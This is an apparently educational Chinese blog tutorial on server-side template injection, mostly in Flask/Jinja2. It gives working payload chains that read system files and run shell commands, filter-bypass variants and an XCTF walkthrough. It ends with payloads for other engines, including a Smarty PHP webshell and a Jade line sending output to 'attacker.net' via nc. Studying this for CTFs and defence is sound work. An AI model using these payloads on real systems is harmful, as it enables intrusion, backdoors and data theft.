前前言:

本文只是接这个机会来梳理一下ssti的知识点。先说一下,本文目前的重点是Flask的ssti,但是之后会填其他框架的坑。(就不该叫ssti学习,ssti太广了)

涉及知识点:

模板注入

前言:  

何为模板注入?

模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。

但是模板引擎也拓宽了我们的攻击面。注入到模板中的代码可能会引发RCE或者XSS。

如何快速判断模板框架?

(开局一张图,内容全靠编(不是))

Flask模板注入(重点)

目录:

(1)几种常用于ssti的魔术方法

(2)获取基类的几种方法

(3)获取基本类的子类

(4)利用

(5)读写文件

(6)shell命令执行

(7)绕过姿势

(8)实战(填坑中)

(9)参考(挖坑)

(10)补充

其它模板注入payload

目录:

Flask模板注入

解析:

众所周知ssti要被{{}}包括。接下来的代码均要包括在ssti中。

1.几种常用于ssti的魔术方法

__class__  返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的 __subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
__builtins__ builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块

2.获取基类的几种方法

[].__class__.__base__
''.__class__.__mro__[2]
().__class__.__base__
{}.__class__.__base__
request.__class__.__mro__[8]   //针对jinjia2/flask为[9]适用
或者
[].__class__.__bases__[0] //其他的类似

3.获取基本类的子类

>>> [].__class__.__base__.__subclasses__()

[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]

ssti的主要目的就是从这么多的子类中找出可以利用的类(一般是指读写文件的类)加以利用。

那么我们可以利用的类有哪些呢?

4.利用

我们可以利用的方法有<type 'file'>等。(甚至file一般是第40号)

>>> ().__class__.__base__.__subclasses__()[40]('/etc/passwd').read()

可以从上面的例子中看到我们用file读取了 /etc/passwd ,但是如果想要读取目录怎么办?

那么我们可以寻找万能的os模块。

写脚本遍历。

#!/usr/bin/env python
# encoding: utf-8 num = 0

for item in ''.__class__.__mro__[2].__subclasses__():
try:
if 'os' in item.__init__.__globals__:
print num,item
num+=1
except:
print '-'
num+=1

得到结果。

直接调用就好了。可以直接调用system函数,有了shell其他的问题不就解决了吗?

>>> ().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')

5.读写文件

当然,某些情况下system函数会被过滤。这时候也可以采用os模块的listdir函数来读取目录。(可以配合file来实现任意文件读取)

>>> ().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')  #读取本级目录

另外在某些不得已的情况下可以使用以下方式来读取文件。(没见过这种情况)。

方法一:

>>> ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()    #把 read() 改为 write() 就是写文件

方法二:

存在的子模块可以通过 .index()方式来查询

>>> ''.__class__.__mro__[2].__subclasses__().index(file)
40

用file模块来查询。

>>> [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()

其他的方式我还不怎么会,就不多说了。之后可能会补。

6.shell命令执行

本人有点菜,就直接搬运大佬的方法了。

方法一:  eval函数进行命令执行

>>> ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')

方法二:  利用 warnings.catch_warnings 进行命令执行

>>> {}.__class__.__base__.__subclasses__().index(warnings.catch_warnings)
59

查看 linecache 的位置

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache')
25

找os模块。

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os')
12

查找system方法的位置(在这里使用os.open().read()可以实现一样的效果,步骤一样,不再复述)

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')
144

调用system方法。(不包含system,可以绕过过滤system的情况)

>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
root
0

方法三:利用commands进行命令执行

>>> {}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')
>>> {}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
>>> {}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('ls').read()

7.绕过姿势

(1)绕过中括号

pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。绕过姿势:

>>> ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()

在这里使用pop并不会真的移除,但却能返回其值,取代中括号,来实现绕过。

(2)绕过引号

request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤,绕过姿势:

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd

(3)过滤双下划线

同样可以使用 request.args 来绕过。绕过姿势:

{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

将其中的 request.args 换成 request.values 则可以利用post方式传参

GET:
{{ ''[request.value.class][request.value.mro][2][request.value.subclasses]()[40]('/etc/passwd').read() }}
POST:
class=__class__&mro=__mro__&subclasses=__subclasses__

(4)过滤关键字

__getattribute__使用实例访问属性时,调用该方法

方法一:  base64编码绕过

若 __class__ 被过滤,绕过姿势:

{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]('/etc/passwd').read()}}

方法二:  字符串拼接绕过

同是 __class__ 被过滤,绕过姿势:

{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]('/etc/passwd').read()}}
{{request.__class__}}

{{request|attr(["__cl","as","s__"]|join)}}

{{request["__cl"+"as"+"s__"]}}

以上几种的作用是一样的,都是字符串拼接。(参考 GYCTF FlaskApp 

8.实战

这里拿 xctf 中的 Web_python_template_injection 做例子

进入题目界面可以看到

尝试模板注入  ?{{7*7}}

有回显。尝试模板注入。

构造payload: ?{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

读目录发现了fl4g。直接用file读取。构造payload:  ?{{[].__class__.__base__.__subclasses__()[40]('fl4g').read()}}

拿到了flag。

本来以为没什么,但是看到了别人的wp?

可以直接注入代码?

{% for c in [].__class__.__base__.__subclasses__() %}

{% if c.__name__ == 'catch_warnings' %}

  {% for b in c.__init__.__globals__.values() %}  

  {% if b.__class__ == {}.__class__ %}         //遍历基类 找到eval函数

    {% if 'eval' in b.keys() %}    //找到了

      {{ b['eval']('__import__("os").popen("cat fl4g").read()') }} 

    {% endif %}

  {% endif %}

  {% endfor %}

{% endif %}

{% endfor %}

我吐了,之后研究一下吧。

时隔半年回来填坑,之前主要是没有做过flask的开发,只要你做一下flask的开发,这种方法你马上就会明白。甚至在SSTI中,这还是一种可以直接使用的POC。

为什么说之前的东西没有办法直接用作 POC 呢?

因为你会发现,随着 Python 的版本不同,一般来说可利用类的位置也是不同的。所以每一回都要找可利用类的位置。但是这个不需要我们自己来找,他会自己找到位置。

想了一下,贴一个找可利用类的脚本吧。(不过这个脚本好像有点问题,会默认少一,懒得改了,自己知道就行了,我就是条带懒狗)

import sys

array = []

def find_class(line,s,c):
if line.find(b'class') > 0:
start = line.find(b'<class',s)
#print(start)
end = line.find(b'>',start)
string = line[start+8:end-1]
#print(string)
array.append(string)
if line.find(b'class',end+1) > 0:
find_class(line,end,c) def create_array():
sys.setrecursionlimit(1000000)
with open('C:/Users/Acer/Desktop/flag.txt','rb') as f:
a = 1
lines = f.readlines()
for line in lines:
#print(line)
find_class(line,0,b'warnings.catch_warnings')
#print(a) def search_class(funcs,fun):
i = 0
for func in funcs:
if fun in func:
print(i)
else:
i = i + 1 create_array()
search_class(array,b'warnings.catch_warnings') #warnings.catch_warnings

0x0a  补充:

偶尔看到了合天的一篇文章,感兴趣的师傅可以去看一看。

我最经常使用的 format 居然是有安全漏洞的?

>>> print("{0.__class__}".format('a'))
<class 'str'>

以上代码贴出来师傅们都懂了吧。下面的过程继续挖坑。

其它各个框架的一般RCE(挖坑,先给payload,原理之后讲)

FreeMarker  PHP模板

payload: 命令执行

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
uid=119(tomcat7) gid=127(tomcat7) groups=127(tomcat7)

Velocity  Java模板

payload:命令执行

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end //输出 tomcat7

Smarty  PHP模板

payload:创建后门

{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

Twig  PHP模板

payload:命令执行

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
返回结果: uid=1000(k) gid=1000(k) groups=1000(k),10(wheel)

Jade  Node.js模板

payload:命令执行

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')

。。本来是回来填坑的。。怎么又挖了这么多?哭了。

9.参考文章

谢谢iGetFlag大佬的文章

感谢大佬的文章

感谢极光第一全栈选手的文章

各个服务器模板注入攻击的文章

从零开始的ssti学习(已填)的更多相关文章

  1. python之感知器-从零开始学深度学习

    感知器-从零开始学深度学习 未来将是人工智能和大数据的时代,是各行各业使用人工智能在云上处理大数据的时代,深度学习将是新时代的一大利器,在此我将从零开始记录深度学习的学习历程. 我希望在学习过程中做到 ...

  2. 持续更新:从零开始的php学习生活

    其实也不是真的从零开始,在此之前我还是一边研究博学(博客美化)一边学的CSS.HTML.JavaScript的,相关内容可以戳这里. 看本文之前你最好稍微熟悉一下HTML.JavaScript什么的. ...

  3. 从零开始的vue学习笔记(四)

    组件注册 组件名 Vue.component('my-component-name', { /* ... */ }) 这里的my-component-name就是组件名,组件名的取法可以参考指南 ke ...

  4. schedule定时任务出现问题 (大坑已填)!!

    因为python每次运行完,并不清除内存,nowtime一直不变,这导致了一个致命问题,使我的脚本一直运行失败,具体如下: 我设置的是每隔30分钟登陆一次,代码如下 if __name__ == &q ...

  5. 从零开始--系统深入学习IOS(使用Swift---带链接)

    这是一篇面向IOS新手的文档.同时提供一些系统知识的链接,让你系统学习IOS.它提供一些信息帮助你采用技术和编程接口来开发苹果软件产品,本人不保证会在将来更新.学习它,需要你掌握一些基本的编程知识 1 ...

  6. 从零开始学深度学习mxnet教程:安装以及基本操作

    一.导言 本教程适合对人工智能有一定的了解的同学,特别是对实际使⽤深度学习感兴趣的⼤学⽣.⼯程师和研究⼈员.但本教程并不要求你有任何深度学习或者机器学习的背景知识,我们将从头开始解释每⼀个概念.虽然深 ...

  7. 从零开始的Python学习Episode 16——模块

    一.模块 在计算机程序的开发过程中,随着程序代码越写越多,在一个文件里代码就会越来越长,越来越不容易维护. 为了编写可维护的代码,我们把很多函数分组,分别放到不同的文件里,这样,每个文件包含的代码就相 ...

  8. 从零开始的Python学习 知识补充sorted

    sorted()方法 sorted()可用于任何一个可迭代对象. 原型为sorted(iterable, cmp=None, key=None, reverse=False) iterable:一个可 ...

  9. 从零开始的Python学习Episode 7——文件基本操作

    文件基本操作 一.打开文件 f = open('11','r')#open('file path','mode') 创建一个文件对象 文件有多种打开模式: 1. 'r':新建一个文件对象以只读方式打开 ...

随机推荐

  1. Jenkins(9)- 汉化 Jenkins 网站

    如果想从头学起Jenkins的话,可以看看这一系列的文章哦 https://www.cnblogs.com/poloyy/category/1645399.html 下载插件 安装这两个插件,然后重启 ...

  2. Entity Fremework以及Fluentapi学习

    一.Entity Framework的入门  我这里采用的方式是数据库自己建立  然后模型类自己建立 数据库上下文类自己建立的方式 目的在于弄懂原理 其他的数据库优先等方式这里就不写了  教程有很多. ...

  3. asp.net利用SmtpClient发送邮件

    using System; using System.Data; using System.Web.UI; using System.Data.OracleClient; using DBUtilit ...

  4. 【Azure微服务 Service Fabric 】使用az命令创建Service Fabric集群

    问题描述 在使用Service Fabric的快速入门文档: 将 Windows 容器部署到 Service Fabric. 其中在创建Service Fabric时候,示例代码中使用的是PowerS ...

  5. 强迫自己学习Jquery三

    元素定位问题 offset 和 position必须要好好看一下,

  6. mysql中key和index的关系

    原文链接:https://blog.csdn.net/top_code/article/details/50599840

  7. python脚本打包成rpm软件包

    前言 软件最终都会有交付的形式,有的是用tar包,有个是以目录,有的是封成一个文件包,从大多数使用场景来说,直接打包成软件包的方式是最简单,也是最不容易出错的,路径可以在包里面写死了 实践 关于打包的 ...

  8. Java 合并多个文件内容到一个文件(递归遍历某个文件夹下所有文件)

    这段代码通过Java I/O流API实现将多个文件合并到一个文件中,输出为文本文件,提供一个支持语法高亮的网站,http://www.codeinword.com/ 适合粘贴代码到word文档,小巧实 ...

  9. ERP出入库进阶操作与子流程--开源软件诞生28

    赤龙ERP出入库进阶讲解--第28篇 用日志记录"开源软件"的诞生 [进入地址 点亮星星]----祈盼着一个鼓励 博主开源地址: 码云:https://gitee.com/redr ...

  10. python-网络安全编程第四天(数据库编程&网络编程)

    前言 好几天没更因为寒假放假回家放松了几天 嘿嘿 今天继续开始启动学习模式. python数据库编程 Python DB API访问数据库流程 Python DB API包含的内容 什么是 PyMyS ...